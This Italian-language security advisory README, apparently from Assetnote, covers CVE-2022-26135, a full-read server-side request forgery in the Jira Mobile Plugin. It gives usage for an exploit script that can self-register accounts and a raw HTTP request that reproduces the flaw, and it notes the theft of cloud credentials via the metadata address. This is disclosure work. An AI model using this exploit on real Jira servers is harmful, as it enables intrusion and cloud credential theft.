CVE-2022-26135 - Full-Read Server Side Request Forgery nel Mobile Plugin per Jira Data Center e Server

Informazioni su Assetnote

Assetnote mappa automaticamente i tuoi asset esterni e li monitora per modifiche e problemi di sicurezza per aiutare a prevenire gravi violazioni.

Questa ricerca è stata condotta dal team di Security Research di Assetnote.

Puoi leggere di più sul nostro prodotto e sul nostro team su https://assetnote.io.

Post del Blog

Il post del blog che descrive in dettaglio i passi compiuti per la scoperta di questa vulnerabilità può essere trovato qui.

Descrizione

Jira Core e Jira Service Desk sono vulnerabili a server-side request forgery dopo l'autenticazione. In alcuni casi, è possibile sfruttare le registrazioni aperte in Jira Core o Jira Service Desk per sfruttare questa falla di server-side request forgery senza disporre di credenziali note.

Impatto

La vulnerabilità SSRF consente agli aggressori di inviare richieste HTTP utilizzando qualsiasi metodo HTTP, intestazioni e corpo a URL arbitrari. Quando Jira è distribuito in un ambiente cloud, un aggressore può sfruttare questa catena di exploit per ottenere credenziali cloud o altre informazioni sensibili tramite l'indirizzo IP dei metadati.

Software Interessato

Secondo l'avviso di Atlassian, consulta il seguente articolo della knowledge base per confermare se stai eseguendo una versione software interessata: https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html

Istruzioni per l'Uso

pip3 install -r requirements.txt

e poi puoi usare l'exploit usando:

python3 exploit.py

Aiuto:

usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]

optional arguments:
  -h, --help           show this help message and exit
  --target TARGET      i.e. http://re.local:8090
  --ssrf SSRF          i.e. example.com (no protocol pls)
  --mode MODE          i.e. manual or automatic - manual mode you need to provide user auth info
  --software SOFTWARE  i.e. jira or jsd - only needed for manual mode
  --username USERNAME  i.e. admin - only needed for manual jira mode
  --email EMAIL        i.e. [email protected] - only needed for manual jira service desk mode
  --password PASSWORD  i.e. testing123 - only needed for manual mode

Se hai già credenziali per Jira / Jira Service Desk, imposta l'argomento --mode su manual e l'argomento --software su jira o jsd.

Richiesta HTTP

La seguente richiesta HTTP può essere utilizzata per riprodurre questo problema, una volta autenticati all'istanza Jira:

POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63

{"requests":[{"method":"GET","location":"@example.com"}]}